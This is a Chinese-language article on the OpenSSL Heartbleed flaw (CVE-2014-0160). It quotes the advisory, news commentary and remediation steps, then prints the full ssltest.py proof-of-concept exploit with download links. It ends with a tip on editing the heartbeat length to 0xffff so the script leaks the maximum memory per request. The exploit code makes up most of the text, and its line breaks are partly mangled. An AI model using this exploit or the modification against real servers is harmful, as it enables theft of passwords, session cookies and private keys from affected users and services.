OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解

OpenSSL Security Advisory [07 Apr 2014]

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TLS heartbeat read overrun (CVE-2014-0160)

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A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley and Bodo Moeller for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

在 heartbleed 的官网上有关于 CVE-2014-0160 漏洞的详细信息，这是关于 OpenSSL 的信息泄漏漏洞导致的安全问题。改 Heartbleed bug 可以让互联网的任何人读取系统保护内存，这种妥协密钥用于识别服务提供者和加密流量,用户名和密码的和实际的内容。该漏洞允许攻击者窃听通讯，并通过模拟 服务提供者和用户来直接从服务提供者盗取数据。

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此漏洞为本年度互联网上最严重的安全漏洞，影响至少两亿中国网民。需要在https开头网址登录的网站，初步评估有不少于30%的网站中招，其中包括大家最常用的购物、网银、社交、门户等知名网站。”

石晓虹介绍说，目前国内使用https的网站都是跟支付和敏感用户数据相关的。据他了解，今天下午，大量网站已开始紧急修复此OpenSSL高危漏洞，但是修复此漏洞普遍需要半个小时到一个小时时间，大型网站修复时间会更长一些。

石晓虹提醒广大互联网服务商，尽快将OpenSSL升级至1.0.1g进行修复。同时建议广大网友，在此漏洞得到修复前，暂时不要在受到漏洞影响的网站上登录账号。

OpenSSL是为网络通信提供安全及数据完整性的一种安全协议，囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议，目前正在各大网银、在线支付、电商网站、门户网站、电子邮件等重要网站上广泛使用。

OpenSSL“心脏出血”漏洞利用方式

利用该漏洞，黑客坐在自己家里电脑前，就可以实时获取到约30%的https开头网址的用户登录账号和密码、cookie等敏感数据，影响网银、知名购物网站等。

漏洞成因

OpenSSL Heartbleed模块存在一个BUG，当攻击者构造一个特殊的数据包，满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后 的数据直接输出，该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。

存在该漏洞的版本

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable

OpenSSL 1.0.1g is NOT vulnerable

OpenSSL 1.0.0 branch is NOT vulnerable

OpenSSL 0.9.8 branch is NOT vulnerable

修复建议

使用低版本SSL的网站，并尽快按如下方案修复该漏洞:

升级OpenSSL 1.0.1g

使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块

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修补方式：OpenSSL "heartbleed" 的安全漏洞

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OpenSSL “heartbleed” 漏洞利用程序脚本 POC：

openssl.py / ssltest.py，用法：openssl.py ip/域名 -p 端口

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])# The author disclaims copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse importOptionParser

options =OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p','--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ','').replace('\n','').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')def hexdump(s):for b in xrange(0, len(s),16):
        lin =[c for c in s[b : b +16]]
        hxdat =' '.join('%02X'% ord(c)for c in lin)
        pdat =''.join((c if32<= ord(c)<=126else'.')for c in lin)print'  %04x: %-48s %s'%(b, hxdat, pdat)printdef recvall(s, length, timeout=5):
    endtime = time.time()+ timeout
    rdata =''
    remain = length
    while remain >0:
        rtime = endtime - time.time()if rtime <0:returnNone
        r, w, e = select.select([s],[],[],5)if s in r:
            data = s.recv(remain)# EOF?ifnot data:returnNone
            rdata += data
            remain -= len(data)return rdata
        

def recvmsg(s):
    hdr = recvall(s,5)if hdr isNone:print'Unexpected EOF receiving record header - server closed connection'returnNone,None,None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln,10)if pay isNone:print'Unexpected EOF receiving record payload - server closed connection'returnNone,None,Noneprint' ... received message: type = %d, ver = %04x, length = %d'%(typ, ver, len(pay))return typ, ver, pay

def hit_hb(s):
    s.send(hb)whileTrue:
        typ, ver, pay = recvmsg(s)if typ isNone:print'No heartbeat response received, server likely not vulnerable'returnFalseif typ ==24:print'Received heartbeat response:'
            hexdump(pay)if len(pay)>3:print'WARNING: server returned more data than it should - server is vulnerable!'else:print'Server processed malformed heartbeat, but did not return any extra data.'returnTrueif typ ==21:print'Received alert:'
            hexdump(pay)print'Server returned error, likely not vulnerable'returnFalsedef main():
    opts, args = options.parse_args()if len(args)<1:
        options.print_help()return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))print'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)print'Waiting for Server Hello...'
    sys.stdout.flush()whileTrue:
        typ, ver, pay = recvmsg(s)if typ ==None:print'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ ==22and ord(pay[0])==0x0E:breakprint'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)if __name__ =='__main__':
    main()

下载地址：

openssl.py.rar，ssltest.py.rar，（提示：其实这俩文件内容完全一样，只是换行符制式不一样。）

提示：

poc作者留了一手，每次只dump 16kb 内存。

那个python poc里面的：

hb = h2bin('''
18 03 02 00 03
01 40 00
''')改成

hb = h2bin('''
18 03 02 00 03
01 ff ff
''')

for b in xrange(0, len(s),16):改成for b in xrange(0, len(s),64):